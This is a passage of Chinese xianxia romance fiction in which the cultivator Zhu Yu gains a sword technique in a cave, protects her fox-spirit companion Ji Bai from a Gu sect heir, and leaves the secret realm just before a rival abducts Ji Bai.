祝余记起,下坠途中自己好像失去了修为,想了想,她抬手掐诀,一簇火焰骤然出现,明亮的火光瞬间驱散周边黑暗。
好在修为回来了。
隐藏在黑暗中的东西,早已躲藏起来。
祝余并未察觉,她环顾四周,像是一处崖洞,但此地一点光亮也没有,也并未看见有缺口,祝余心生疑惑,她们怎么进来的?
心中有太多疑惑,但眼下还有更重要的事。
祝余动了一下,先前心系既白时,并未感觉到疼,现在一放松,肩上钻心的疼一股接一股袭来,忍不住闷哼出声。
獠牙穿透皮肉的痛苦,祝余仍记忆犹新,她深吸一口气,咬牙忍痛,将系在两人腰间的腰带解开,又小心翼翼的将他挪开。
一番动作下来,肩上本已凝固的伤口又开始渗血,祝余脸色发白,冷汗涔涔,她从储物袋中拿出丹药服下,打坐调息,片刻后,苍白的脸上重新有了些许红润。
肩上的伤已不再流血,但祝余能感受到,狼獠牙留下的窟窿仍在。
秘境之中灵气丰盈,自然妖兽也会更强,留下的伤也会更难治愈。
祝余起身,来到既白前,他双眸紧闭,仿佛只是睡着了,手指轻轻摩挲过他好看的眉眼,她眼中盛满了担忧,细小的声音在这崖洞里清晰可闻。
“快些醒过来。”
祝余又看了他一会,确实他没什么事,才站起身,她目光扫过崖洞,打算看看这里是什么地方。
她走了一圈,来到崖洞中心处,中心处立着一个巨大的石头,石头上插着一柄长剑,在这黑漆漆的崖洞中,显得格外神秘。
祝余围着巨石走了一圈,并未发现异常,秘境中有危险但也有机缘,这柄长剑上或许就会隐藏着机缘,她看着长剑思考片刻,眼中是势在必得。
来此秘境,本就是为变强,如今机缘就在眼前,她怎能错过。
祝余走上巨石,眼看着她就要拔剑,一直躲藏在暗处的东西,飞速冲她而来。
察觉到波动,祝余回眸,还没看清是什么东西,一阵刺眼白光亮起,她抬手挡住眼睛。
等了一会,确认白光消失,祝余放下手,却见眼前是别样的场景。
她站在一处院内,抬头望去,张灯结彩,红绸飞舞,锣鼓喧天,来往的人皆面带喜色,很明显是在举行喜宴。
祝余知晓自己应该是入了幻境中,不过思索两秒,便跟着人流往前走去。
人流的尽头,是一对身着红色喜服,正在拜堂的新人。
不知幻境是何用意,祝余百无聊赖的看着。
“一拜天地。”
身着红色喜服的新人转过身来,祝余一眼看清了新郎的脸,赫然是既白的样子。
祝余死死盯着那张与既白一模一样的脸,手中金麟剑出鞘,剑尖对准了新郎心口位置,用力掷去。
即使知道这只是幻境,一切不过是假的,她也不想看到这样的场景。
金麟剑直直刺入新郎胸口,周遭一切都停止下来,幻境猛然破碎,一切消散退去,祝余又回到崖洞内。
祝余不解蹙眉,就这?
她也曾随师姐进过一次幻境,里面布满陷阱和危险,一不小心就会死在幻境中,而这幻境是否太过简单。
祝余回神,这才注意到眼前,形似鱼,却又能飞在空中。
它震惊的盯着她,似乎是受到了惊吓。
对峙片刻,祝余试探着开口,“你弄的幻境?”
像鱼的东西点点头,仍震惊的盯着她,“对。”
祝余惊讶了,会说话?
像鱼的东西好奇的飞到她身边,左看看右看看,“你们外面的人都这么强吗?”
“一剑就能破我的幻境。”
祝余看它似乎没什么恶意,斟酌着说:“比我强的比比皆是。”
她能一剑破幻境,也许是因为这幻境太弱。
祝余将注意力重新放回石头上的剑上,她警惕的看一眼旁边围着她转的东西,这机缘她必须要。
像鱼却又不是鱼的东西,似乎知道她所想,说道:“你打败我了,你拿吧。”
虽听它如此说,但祝余仍不敢放松警惕,谁知它会不会临时变卦。
祝余打量了剑片刻,剑身一半插入石头中,一半留在外面,透着丝丝寒芒。
等了片刻,祝余手握向剑柄,手指碰到剑柄的那一刻,周身坏境又是一变。
看来鱼的话也不能信。
像鱼不是鱼的东西,瞪大了眼睛看着一人一剑消失的位置,它守了这么久,也不知道这剑会消失啊?
祝余看向四周,云雾缭绕,白茫茫一片,安静却又仿佛暗藏杀机。
她下意识摸向金麟剑,腰间空空如也,她试图召唤,却感觉不到自己与金麟剑的联系。
看来只能走一步看一步了。
祝余等了一会,见没有危险,便朝云雾里走去,走了许久,仍旧只有自己。
空荡荡,白茫茫的,仿佛被抛弃在这里,除了孤寂再无其它。
祝余没被扰乱心绪,环顾四周,打算换个方法。
她盘腿而坐,闭眼静心凝神,仔细感受周围的波动。
万物相生相息,只要动了必定会留下痕迹。
不知等了多久,祝余耳朵微动,感受到了后方传来的波动。
她立即睁开眼,朝后方追去,在一片云雾后看到了,先前插在石头上的那柄剑。
原来是它,看来她错怪那条像鱼不是鱼的东西了。
祝余目光坚定,立即朝剑追去,每次她差点要追到时,剑都会突然加速。
祝余知道它在逗弄自己,但她不会因此放弃,反而越发卯足了劲的去追。
历尽千辛,祝余终于找到机会,趁剑不注意,凌空跃起,往前一扑,手握住了剑柄。
剑愣了一下,似乎没想到自己会被抓住,反应过来后,便觉得生气,在祝余手中疯狂挣扎起来,她用尽全力,双手紧紧握住,但还是一时不察,被剑挣脱出手。
剑停在半空中,居高临下的看着她,似乎是在嘲笑她的自不量力。
祝余看看自己空了的双手,在刚才的争夺中,双手不慎受了伤,鲜血淋漓。
祝余浑然不在意的握紧了手,眼中势在必得,语气坚定,“我会再次抓住你。”
半空中的剑听懂了,这次它不在跑,而是锋利的剑尖对准了祝余,直直冲她而来。
祝余灵巧躲开,剑再度袭来,一人一剑有来有回,纠缠不休。
祝余手中没有武器,只能以身挡之,自然落了下风。
数次下来,肩上的伤口也在一次次躲避中被撕裂,又缓缓流淌出鲜血。
身上被剑划破,又添新伤。
祝余全身布满了血迹,像是战场上历经生死的将士,眼中却未见有退缩之意。
经历过太多无助时刻,她想保护自己在意的人,她要变强。
她仍记得,蛊门门主留下的话,她的话像一把尖刀,时刻高悬在她头顶。
她记得既白缺失的六条尾巴,记得他的害怕与恐惧。
所以,这机缘她必须要。
祝余目光坚定,对着高悬的剑道:“再来。”
剑停顿了片刻,似乎在想她为何如此执着,祝余的声音打断了它,它便不再犹豫的直刺来。
与剑纠缠中,祝余身上的伤痕越来越多,她也在一次次的战败中,吸取经验教训。
一次次的改正,一次次的进步,为的就是此刻。
祝余满身是血,眼中含笑,带血的手坚定的握住剑柄。
祝余已做好它挣扎的准备,但剑只是轻微挣扎了一下,便安静蛰伏在她手中。
强大坚定的意志,足以让它臣服。
在她惊讶的目光下,剑化作一抹白光,飞入她眉心,脑海中出现一个小人,拿着长剑起舞。
意识到这是一套剑法,祝余很激动,金麟剑很合她心意,她目前并没有换剑的想法,但她正缺剑法。
祝余闭眼感悟起脑海中的剑法,剑法极为玄妙,她正遗憾金麟剑不在身边,下一秒,金麟剑便立在她眼前。
见此,立刻握住金麟剑跟随脑海中的小人练起来,剑法玄妙,练起来涩会难懂。
祝余不觉挫败,反而激起了她的好胜心,她将剑法拆分开来,一个剑招一个剑招慢慢琢磨,力求完美。
在她不懈努力下,终于领会剑法。
眉心一道白光飞出,先前那把剑又出现在她眼前,祝余正不解,剑突然向她发动攻击。
正是她刚才学的那套剑法,祝余明白了它的意思,便也与它对练起来。
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祝余以为自己已经学会些皮毛了,但看着自己一次次被打飞的剑,才发现自己的理解还是太过浅显。
白剑绕着祝余转,似乎是在嘚瑟。
她也不在意,捡起剑,“继续。”
“再来。”
“继续。”
“再来。”
“……”
不知经历了多少个“继续”“再来”,祝余手中的剑也从一开始的一打即掉,能坚持一分钟,坚持十分钟,到现在已经能完整的练完一套。
被打掉那么多次剑,被嘲讽那么多次,祝余正要嘲讽回去,却见对面的剑剑法一变,再度打掉她手中的金麟剑。
祝余一口气在胸口不上不下,终于有了挫败感,眼中却发亮,她注意到最后的剑法和刚才有所不同。
这说明,她并没有学完。
仅一段剑法,便如此玄妙,那完整一套剑法,又该如何?
知晓剑法的不平凡,越发刺激了祝余对整套剑法的好奇。
也不知晓既可有醒了?
她有些担心既白了。
脑海中念头闪过,下一刻,祝余便出现在崖洞中。
“祝祝。”
祝余刚一转身,便被人扑了满怀。
熟悉的味道,让她满足,她顺势将人紧紧拥住。
“祝祝,你终于出现了。”既白哽咽说着,声音带上了哭腔,好看的狐狸眼泛红,让人格外心疼,“一个月,我以为你走了。”
醒来时,看不到祝祝,无人知晓他有多恐慌。
像鱼不像鱼的东西飞过来,洋洋自得,“你看,我没骗你吧。”
“我就说了,她没走。”
既白闻言,狐狸眼睁得大大的,瞪着它。
祝余也从他的话里听明白了,自己竟消失了一个月吗?
练剑的时候,并未注意时间的流逝,是她疏忽了。
她摸着发顶,愧疚道:“抱歉,是我的不是。”
她应该注意的。
他醒来时,只有自己一个人,一定害怕极了。
既白摇摇头,湿漉漉的眼睛,可怜兮兮的看着她,“祝祝,我好想你。”
听到他说想她,不过简单四个字,一股甜蜜的满足感蔓延在心间,让人心情格外的愉悦,祝余眉眼含笑,眸中似含情秋水,毫不吝啬的表达自己的欢喜,“我也想你。”
在她柔情似水的眼波里,既白慢慢红了脸,热意上涌,耳垂发烫,他不自在的偏过头,“真,真的吗?”
心乱了分寸。
“当然。”
既白觉得好开心,好看的狐狸眼闪闪发光,他在想祝祝的时候,祝祝也在想他。
祝余回头往石头上看去,原本插在上面的剑已经不在了。
她闭眼,往识海深处看去,剑正静静躺在识海一角,她安心了,好不容易得来的剑法还在。
——
“祝祝,我们怎么会在这里?”既白问道。
他一醒来,黑漆漆一片,什么也看不到,也找不到她,他害怕极了。
想起找不到她时的委屈害怕,他幽怨的看着她。
来到这里是不得以为之,也是凶险的,但好在危险都过去了,她也不想他知道了心生忧虑,便含糊其辞带过。
“走着走着,就到这里了。”
“这样吗?”
既白才不信,他在这里一个月,他都找过了,没有出口。
心情不由得低落。
忍不住埋怨自己,为什么不记得了。
记忆仍停留在祝余与头狼缠斗之时,忘了自己曾晕倒,也忘了自己为什么会晕倒。
既白觉得自己很没用,不仅不能帮到祝祝,还会给她带来麻烦。
意识到他情绪不对,祝余手指勾住他下巴,强迫他抬起头。
入眼,便是他满脸的泪。
祝余一慌,脑海中闪过他流泪喊疼的痛苦画面,急切问道:“是不是头又疼了?”
既白咬着唇,默默流泪摇头,“祝祝,我头疼过吗?”
意识到他不记得了,也不是头疼,祝余松了口气,为他擦干脸上的泪,面不改色道:“我记错了。”
随后又问道:“为什么哭?”
既白一头扑进她怀里,抽噎的更大声了,“祝祝,我是不是很没用。”
“我连怎么到这里的,都不记得了。”
祝余实在不知道该如何说,他当时陷入昏迷,不记得本就是正常的。
可同样的,他也不记得自己曾昏迷过。
想了想,她开口,“很想知道我们是怎么到这里的?”
“嗯。”他咬着唇用力点头。
“为什么想知道?”
既白声音闷闷的,“祝祝,我是不是给你造成麻烦了。”
原来是在纠结这个。
祝余强迫他抬头看向自己,对视间,目光中只有彼此,她说的坚定,“你永远不会是我的麻烦。”
心突兀一跳,脸不自觉泛红,既白眼中含着泪花,不解问道:“祝祝,你为什么对我这么好?”
祝余控制不住的俯身,在他带泪的眼眸上留下一吻,说话时,气息喷洒在他眼睛上,“以后你会知道的。”
“现在,你只需要记住,你永远不会是我的麻烦。”
既白眼睫轻颤,心跳失衡,陌生的情绪围绕在他心间。
一处比一次深刻。
祝余后退半分,“记住了吗。”
“记,记住了。”
14. 崖底
又在崖洞内待了几日,祝余感觉身上的伤已经好的差不多了,也该离开了。
在崖洞内转了几圈,她蹙眉沉思,崖洞内密不透风,没有一点光亮。
心中生出一种猜测,崖洞可能是在山崖内部。
祝余沉思片刻,虽不知自己是如何进来的,但既然能进来,自然也会有出去的路。
“祝祝,还没有找到吗?”既白来到她身边。
祝余思索着摇头,“没有。”
既白也跟着陷入沉思,想了片刻,他抬头,看向飞在半空中的东西,“小鱼,你知道要怎么出去吗?”
祝余的目光也一同看过去,她也很好奇。
像鱼不是鱼的东西,生气的来回飞,“说了多少次了,我不是鱼!”
“那你是什么?”
飞在半空中的东西,立即泄了气,它也不知道自己是什么,从有记忆起,它就在这里,只隐约记得,它的职责是守护剑,直至有缘人出现。
“反正不是鱼。”它嘴硬道。
“我也不知道要怎么出去。”
它要是知道怎么出去,早离开这鬼地方了。
既白皱着眉,目光看向祝余,“祝祝怎么办?”
祝余伸手为他抚平眉间的忧愁,轻笑一声,“别担心,会有办法的。”
崖洞她都已看过,并无特别之处,除了,祝余目光落在崖洞中央的石头上,若有所思。
片刻,心中有了想法。
她走上前,抽出金麟剑,挽了一个剑花,对着石头挥出一道剑气,剑气在快要落到石头上时,突然消失。
祝余知晓自己猜对了,但依旧不知该如何离开。
她绕着石头,走了一圈,仔细寻找一番,并未发现有机关或是针法。
祝余开始思考,石头上原本插着一柄剑,现在剑正在她识海中,是一套剑法。
剑法。
祝余灵光一闪,她知晓该如何出去了。
她持着金麟剑,手腕翻转,舞动起之前所学的剑法,一道道凌厉剑气朝石头而去。
剑气并未消失,而是实打实的落到石头上,石头发出巨响,碎石四溅,中间出现一道裂纹,裂纹越来越多,突然发出一道光。
祝余一个转身,飞快抓住既白的手。
白光消失,崖洞内一片黑暗,无风无光,仿佛从未有人来过。
眼前一正常,祝余第一时间低头,两只修长好看的手依然交握在一起,她松了口气,还好没被分散。
见他眼中迷茫,似乎还没从刚才的白光中回过神来,祝余笑着,伸手轻点他鼻尖,“可还好?”
既白呆愣了一两秒,后知后觉的应道:“祝祝,我没事。”
如此乖巧模样,看的祝余心痒痒的,到底忍不住伸手揉了揉他发顶。
既白也不反抗,只是好看的狐狸眼控诉的看着她,弱弱唤一句,“祝祝。”
“嗯,我在。”
“头发乱了。”既白委委屈屈的。
祝余摸够了,心情极好的放开他惨遭蹂躏的头发,又仔细帮他理顺。
“我帮你。”
——
想起还不知身处何处,祝余抬眸,两边是连绵不绝崖壁,上空雾气缭绕,而她们正身处崖底。
不远处有一条小溪,溪水清澈见底,溪流声哗哗不绝。
既白眼一亮,小跑过去,鞠了一捧水。
“祝祝,你看。”
祝余不急不缓的跟上,眉眼温柔,似三月里的春风,轻笑着应道:“嗯。”
二人顺着溪流而下,既白不时鞠起一捧水把玩,祝余含笑看着,温柔的目光始终落在他身上。
走了许久,断崖陡然消失,意识到快要走出崖底了,祝余眼角余光看向某一处,而后站定。
既白也跟着停下来,眨着好看的狐狸眼,不明所以的看向她,“祝祝,怎么了?”
“没事。”
话毕,祝余控制着金麟剑直冲一块巨石而去。
一道小小的身影仓皇飞出,“别!别杀我!”
“小鱼。”既白惊讶出声。
这次,像鱼不是鱼的东西,没在反驳。
祝余召回金麟剑,不解,“为何跟着我们?”
“我,我不知道去哪里。”它耷拉着脑袋,有气无力道。
它偷偷看了既白一
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眼,“我能不能跟着你们。”
祝余正思考着,感觉到袖口处的拉扯感,她偏过头。
“祝祝,能不能留下它。”既白眨了眨眼,可怜巴巴的看着她,哀求道。
“你很喜欢它?”祝余反问。
“嗯。”
闻言,既白连忙点头,看向半空中,祝祝不在的时候,是它陪了他一个月,他也挺喜欢这条小鱼的。
瞧着一鱼一狐狸,在她眼皮底下偷偷交流,祝余还有什么不明白的。
上次,确实是她的疏忽。
沉思过后,祝余点头,“可以。”
“祝祝你真好。”既白眼眸亮晶晶的,他招招手,飞在半空中的东西,立即飞到他怀中。
祝余无奈一笑,“但是。”
正在开心的一鱼一狐,立刻紧张的看着她。
“但是,它要认你为主。”
形似鱼,会飞,会说话,祝余也是第一次见,但既白喜欢,她便随了他的心思。
可不知名的东西跟在他身边,她也不放心,思来想去,认主才是最稳妥的。
认主后,它若伤他,必将遭受反噬。
“你可愿意?”祝余询问。
像鱼不是鱼的东西,看看她又看看既白,思考了一会,点头,“我愿意。”
祝余松了口气。
她正纠结,若它不愿意,既白又喜欢,该如何处理是好。
血契简单,祝余掐诀,一鱼一狐眉心出现一滴血,随后隐入对方眉心。
血契成。
祝余看向半空中的小鱼,目光惋惜,可惜太弱了些,不能保护既白。
似是知道她所想,小鱼不服气的飞到她眼前,“你可别小瞧我,我很厉害的。”
祝余笑的别有深意,“是吗?”
想到被她一剑破的幻境,小鱼底气不足,“以后我会很厉害的。”
它越厉害,自然对既白越有利,祝余真诚道:“我相信你。”
可别让她失望啊。
她会保护既白,牺牲自己也在所不辞,但多一张底牌总是好的。
祝余看向既白,相他承诺过的,她一定会做到。
15. 我也甘之如饴
空旷的林中,群鸟惊飞。
面前突然窜出一只威风凛凛的老虎,祝余神情平静,淡定拔剑。
“吼—”
老虎不悦的大声怒吼,显然对有人闯入它地盘一事,十分的不满。
剑指划过漆黑如墨般的剑身,祝余主动提剑迎上,连日的练习,如今正是检验自己剑法的时候。
“小鱼,你说祝祝几招能赢?”既白站在树下,随意问着。
出了崖底后,没有一只妖兽能逃过祝祝的剑,一路的厮杀,他已经习惯了。
心态也从一开始的担忧关切,转变为她几招能赢。
小鱼飞累了,落到他肩上,“我猜三招。”
既白眨着眼,摇头,“你猜错了。”
祝余早已收了剑,只余猛虎倒在地上,血洒满地,死不瞑目的睁着眼。
既白将肩上的小鱼抱到怀里,小跑过去,笑的眉眼弯弯,鼓掌道:“祝祝好厉害!”
剑入剑鞘,祝余笑着看向他,一本正经道:“为了保护既白,我会更努力的。”
祝余看向手中的剑,可惜还是不够厉害。
一日未找出伤害他的人,她便一日不能安心。
既白耳廓一热,不好意思的偏过脸。
祝祝怎……怎如此说话。
又在林中历练几日,祝余主动对上一头头妖兽,在一次次的厮杀中,实力有了提升,剑法也越发得心应手。
再次斩杀一头妖兽,祝余正收回剑。
“师妹。”
祝余转身,惊讶道:“师姐。”
自分开后,已有月余,在这里遇到师姐,祝余自然是惊讶的。
见时灵兮以及身后一众弟子脸色都不太好,她开口问道:“师姐,出了何事?”
时灵兮看了看身后的弟子,拧眉道:“我们遇到蛊门了。”
祝余自然记得蛊门,杀人全凭心情,蛊门少主还觊觎既白,她如何会忘记。
“师姐,发生了何事?”祝余凝重问道。
时灵兮还未开口,便有弟子忿忿不平道:“明明是我们先发现的灵草,也是我们击退的妖兽,蛊门的人却跳出来,将灵草抢去。”
祝余问询的目光投向师姐,当真如此?
在她的目光下,时灵兮缓缓点头,默认了弟子的说法。
弟子还在不平,“欺人太甚!”
“师姐,我们就应该抢回来的,那蛊门听都没听过,不过是不入流的门派。”
时灵兮轻叹一声,正要向他们道明蛊门的莫测,一道黑影却直冲刚才说话的弟子而去。
时灵兮脸色大变,跃空而起,抽出剑,飞身上前,剑光起,黑影落,地上赫然是一枚形如柳叶般的轻薄飞刀。
说话的弟子早已吓得脸色发白,嘴唇嗫嚅着,半天说不出一句话。
知晓来人是谁后,祝余第一时间向右一步,挡在既白身前,将他遮住。
既白不解的拉了拉她袖子,眼眸澄澈,“祝祝,怎么了?”
“别怕,没事。”祝余轻声宽慰,心中却无奈叹息一声,只能祈祷着蛊门少主不要到注意他。
飞在半空中的小鱼见势不妙,一下子躲进既白怀里。
祝余留意到,偏头,目光平静的注视着它。
小鱼露出半个头,想起自己说过的话,心底很虚,但还是故作镇定道:“放心,我会保护他的。”
祝余平静收回目光,显然是不信。
莫名觉得自己受到了鄙视,很气,但打不过她,只能看向既白,干巴巴道:“你是我主人,我肯定会保护你。”
既白轻轻一笑,“嗯,我相信小鱼。”
小鱼低下了头,怎么办,感觉心里的负罪感更重了。
“蛊门是不入流的门派?”
蚩离缓缓走出,面上带笑,漫不经心的把玩着手上的人脸蜘蛛。
那名弟子嘴唇发白,害怕的低下了头。
时灵兮扫过弟子一眼,摇摇头,祸从口出。
但人终归是玄清宗弟子。
她上前一步,行了个常见的拱手礼,开口,“门内弟子不懂事,回去之后定会责罚,还望少主放他一马。”
蚩离捂嘴大笑,笑够后脸上表情一变,“我若是说不呢?”
时灵兮没再回话,手中剑出鞘,代表着自己的答案。
身后一众玄清宗弟子,也纷纷亮剑。
对面蛊门弟子见此,也不甘示弱的召出自己的蛊虫。
大战一触即发。
蚩离眼中闪过一道精光,涂着红色蔻丹的指尖轻点某处,不怀好意的笑道:“不如用他来换。”
众人目光一致齐聚到祝余身后。
祝余在心中无奈叹息一声,还是被发现了。
她始终站在既白身前,任凭风雨如何大,坚定为他挡去一切风风雨雨。
既白落在她身形下,安于一隅。
那名正因自己说错话害怕的弟子,仿佛抓到了救命稻草,几步来到祝余前。
他一把抓住祝余的手,哀求着说道:“祝师姐,他不过是个男宠,你救救我。”
“求求你,救救我,以后我一定当牛做马来报答你。”
祝余不急不缓的抽出自己手。
她向对面看去,蚩离脸上得逞的笑,眼中的恶趣味正展露无疑。
“他不是男宠,是我的道侣。”祝余说的认真,婉言拒绝。
既白没义务为他的失言买单。
男子脸色大变,表情格外狰狞,“我可是玄清宗弟子,他不过是个小白脸罢了,凭什么不救我。”
男子没注意到,身后为他拔剑的一众玄清宗弟子,表情变了。
时灵兮也一言难尽的嫌弃看着他。
因为他是玄清宗弟子,所以她们愿意为他拔剑,但他此番行为,将贪生怕死展现的淋漓尽致。
本就是他口不择言,如今还妄想用无辜之人去换取自己性命。
在她们看来,小人也不过如此,也不屑与如此小人为伍。
男子继续疯狂大骂,他看向身后的一众人,见无一人帮自己说话,更加崩溃了。
“赵明,你可是我的好兄弟,你竟不愿帮我说一句话。”
被点名的男子,畏畏缩缩的低下头,显然是不想与他扯上关系。
蚩离不屑的嗤笑一声,抬手鼓掌,“当真是精彩啊!”
“不过我忘记告诉你了。”她眼中寒芒一闪而过,语气也变得冰冷,“辱我蛊门者,死!”
话落,蚩离朝他一甩手,手中的人脸蜘蛛朝他飞去。
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男子吓白了脸,反应过来之后,便是左右逃蹿。
时灵兮身为此行的带队弟子,自然不能袖手旁观,她提剑去拦截,人脸蜘蛛却动作极快的躲过。
人脸蜘蛛朝男子吐出蛛丝,蛛丝飞快黏在他脖子上,男子苍白着脸,不停的用手去扯脖子上的蛛丝,却怎么也扯不断。
人脸蜘蛛很快就顺着蛛丝,爬到他脖子上,蜘蛛的身子,上面却有张阴测测的人脸,如此诡异,男子吓得一动也不敢动。
他正要开口,向周围人求救,人脸蜘蛛张大了嘴,一下咬住他动脉。
不过片刻,男子脸色灰败下去,慢慢没了生机。
人脸蜘蛛吃饱喝足,男子已只剩一副干瘪身躯,它大摇大摆的从男子身上爬下来,重新爬回蚩离手上。
整个过程极快,人脸蜘蛛一番动作也只不过用了三四秒。
纵使已经见过一次,但如此阴毒的死法,还是叫周围人心生凉意。
不约而同的生出一种想法,蛊门不能提。
蚩离满意的看着成为尸体的男子,心情大好。
欣赏了片刻,她抬眸看向祝余,指尖指向她身后的既白,眼中的恶意明显,“他是你的道侣?”
祝余不卑不亢,坦然面对,“正是。”
蚩离把玩着手上的人脸蜘蛛,露出很苦恼的样子,说道:“可我也想要他做我的男宠。”
“你说怎么办?”
“不能割爱。”祝余冷声拒绝。
蚩离脸色也冷了下来,“既然如此,那我非要不可了。”
金麟剑出鞘,剑身通体漆黑如墨,泛着冷光,祝余手持长剑,一身白衣,青丝随风而动,以保护的姿态立在他身前。
人脸蜘蛛跳到蚩离肩上,做出攻击姿态,红色的眼睛虎视眈眈的盯着祝余,准备着随时把她吸干。
蚩离抬手,手指间是一片片如柳叶般的飞刀。
扬手间,飞刀朝祝余而去。
祝余手腕翻飞,手中长剑不断变化,将一枚枚飞刀打下。
“有点意思。”蚩离冷笑一声,“但也不过如此。”
她正欲再出手,身后一弟子上前,在她耳旁低声说道:“少主,有消息了。”
蚩离立即收手,她本次来秘境是为寻找一种带有剧毒的蛇,入秘境已有月余,好不容易有消息了,她怎么可能放过。
她冷冷瞥了祝余一眼,“第二次。”
“走。”
直至蛊门的人的身影完全消失,祝余才松了口气,她知晓她的意思。
她抬头,上天还是站在她这边的。
祝余蹙眉,眉目间满是忧虑,下次可能就没有这么好运。
她失落,自己还是成长的太慢了。
“祝祝。”
既白小心翼翼的拉着她的袖子。
祝余揉了揉他头发,“怎么了?”
“我是不是又给你带来麻烦了。”既白耷拉着脑袋,格外的自责。
“我之先说的话,又忘了?”
“没,没忘。”他只是不想成为累赘,既白掩下眼里的落寞。
他也希望自己能帮到祝祝。
“既白,你不是麻烦。”祝余看出他的想法,看着他的眼睛认真道:“即使是麻烦,我也甘之如饴。”
16. 不见了
入秘境已有月余,连日的与妖兽作战,祝余的实力有了很大的提升,但她仍觉不够。
抬头,原本碧空如洗的天空,现在已阴云密布,雷声阵阵不断。
天生异象,不是因为有至宝现世,而是因为秘境要关闭了,在提醒她们离开,等秘境彻底关闭,将无法离开,直至下一次开启,但此秘境是第一次开启,谁也不知道下一次开启是何时。
空中可见众多修士正御剑往外飞行。
此地灵气重盈,又有众多妖兽陪练,现在要离开了,祝余还真有几分不舍。
但她还有更重要的事。
掩下眼中情绪,祝余手心一转,将金麟剑往上一抛,通体如墨的剑身便横在半空中。
轻点足尖,白衣随风飘落,祝余已立在剑身上,青丝分毫未乱。
祝余掐诀,剑身离地面又近了些,她伸出手,手心向上,轻唤,“既白。”
既白轻眨眼,长挑的眼中俱是依赖与信任,毫不犹豫的将自己的手放入她手心。
祝余手上用力,轻轻一拉,衣摆划出一圈弧度,人已站在她身后。
确认他站好后,祝余掐诀,剑升高,随着其他修士,一同朝秘境外而去。
小鱼落在他肩头,看着逐渐渺小的地面,忍不住惊呼出声,“比我飞的还高。”
既白听之,与有荣焉,好看的狐狸眼中生出骄傲神色,“祝祝超厉害。”
被心上人夸赞,祝余不由得勾唇莞尔,眼中笑意浮现,似碧波荡漾的春水,令人沉溺。
主人都不夸自己,小鱼酸溜溜道:“我以后会比她还厉害。”
既白眨了眨眼,明显不信,极其敷衍道:“那你加油。”
反正在他心中,无人比得上祝祝。
突然,天空中“轰隆”一声巨响,分心的既白被吓到,双手下意识抱紧祝余的腰,将脸埋在她背上,以寻求安慰。
祝余也被这突如其来一下惊到,但相比既白,好上很多。
感受着背上传来的温热呼吸,她御剑的动作一顿,侧过身,将人揽到怀中,轻轻拍着他肩,柔声安慰,“别怕,没事了。”
既白声音郁闷,带着几丝委屈,“祝祝。”
可怜极了。
祝余心头又是一软,放在他腰间的手收紧了几分,“有我在。”
小鱼气鼓鼓的看着两人,小小的眼睛因为生气,都大了不少,它也被吓到了,就没有人安慰一下它吗?
又飞行一段时间后,剑穿过一团白光,出了秘境,终于能落地。
一直扑在祝余怀里的既白,也终于敢从她怀里探头。
小心翼翼的抬头,好看的眼眸露出一半,骨碌碌的转着,确认过没有雷声,立即站直身。
红着脸极为别扭的道:“祝祝,其实…其实我一点都不怕。”
祝余也不拆穿他,揉着他发顶,笑了笑,极为配合道:“嗯,不怕。”
被忽视的小鱼不乐意了,它飞到既白眼前转了转,鼓着嘴说道:“主人,你都快……”
既白一把捂住它的嘴,把它抱在怀中,泛红的耳尖一如晚霞下的夕阳。
他,他也是要面子的。
——
桃源城,刚站定,热闹的气息便扑面而来。
师姐一行人还未出来,祝余便打算先回客栈,等师姐出来再一起回玄清宗。
大抵是因为她们出来的早,桃源城内虽已有不少修士,但远没有刚来时人多。
祝余没等多久,晚间时刻,时灵兮便带着一众弟子回来了。
正好有事要去找师姐商量,她转身看向既白,“既白,让小鱼陪着你,我去找师姐。”
“好。”
既白手指戳着飞在半空中的小鱼,乖巧点头,知道祝祝不会抛弃他,对于她的短暂离开,也就没那么害怕了。
“真乖。”祝余笑着揉了揉他发顶,转身走出房间,将门仔细关好。
一转身,祝余眼底的笑淡去。
她不着痕迹的皱眉,怎么又是温如尘。
“祝余。”温如尘几步走来,一脸惊喜的看着她,“我已经等你好几天了。”
“我就知道你不会有事的。”他说的笃定。
祝余看向他身后,见只有他一个人,心中虽有了猜测,但还是问出声,“其他人呢?”
温如尘一脸悲痛,眼中的悲伤快要溢出来,他摇摇头,“只有我一个人活着出来。”
此行华清宗的弟子,除了他,全留在秘境中,没有人会知晓他做过的事。
华清宗宗主,是他的父亲,他完全有恃无恐。
即使已经知晓答案,但真的听到,还是不免唏嘘,但也仅限于此。
修仙本就是逆天而行,修行途中会有数不尽的意外,而那狼群也是华清宗自己招惹的。
“节哀。”
祝余转身离开。
温如尘收起眼里的悲伤,看着她离去的背影,眼中闪过一道暗芒。
祝余,你要怎样才会看到我?
温如尘目不转睛的盯着祝余出来的那道门,他知道,吸引了祝余全部目光的男子就在里面。
温如尘眼中纠结良久,最后还是想得到祝余的想法占据上风,他一咬牙,推开了房门。
哐当—
既白听到声音,以为是祝余回来了,高兴的抬头,“祝祝,你……”
话音戛然而止,因为不是祝祝。
既白蹙眉,想了片刻道:“我记得你。”
“祝祝现在不在。”
温如尘一言不发,来到既白身前。
既白偏头,好看的狐狸眼眨啊眨,没有一点防备,只有疑惑不解。
温如尘在距离他只有一步时,站定,他阴鸷的目光上下打量他,“是有几分姿色,但也不过如此。”
他冷哼一声,“终究是个废物。”
既白好看的眉心皱起,像是凹凸不平的沟壑。
胸口闷闷的,他不喜欢他说的话。
想起祝余抱着他跳崖的画面,心中嫉妒迅速滋生,凭什么是他。
温如尘继续口不择言,“若不是因为你,祝余怎会抛下我,带着你跳崖。”
“跳崖?”既白提取到关键字。
温如尘冷笑一声,“忘了你个废物早早昏过去了,定然是不记得。”
“若不是你拖累了祝余,她怎么会跳崖。”
他一股脑将所有罪责怪在他身上,不提狼群是他招惹的,不提他故意引诱狼,
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想借狼杀人,反而脏送了华清宗弟子。
也绝口不提自己的无能。
既白脸色一白,苍白的嘴唇颤抖着,他不想的,不想成为祝祝的累赘的。
见既白一副破碎的样子,小鱼飞到他身前,大声叫嚷,“不准欺负我主人。”
温如尘皱眉,“什么丑东西。”
竟然说它丑!
好气!
小鱼飞过去就要咬他。
温如尘毫不犹豫抬手,夹杂着修为的一巴掌呼到小鱼上。
小鱼两眼一翻,晕了过去。
“小鱼!”既白起身,连忙去看它的情况。
温如尘怕他发出的声音,引来人,立即一个手刀劈向他后颈。
既白也随之晕厥过去。
温如尘很快镇定下来,他知道自己是在铤而走险,若是被祝余发现,她一定不会原谅他。
所以,他一定要将事情处理干净。
温如尘一把抓住他衣领,将人提起,推开窗,从窗口飞出。
小鱼悠悠然转醒,只觉得头晕眼花。
它缓了半天,想起既白,立即飞起,在屋中寻找既白的身影。
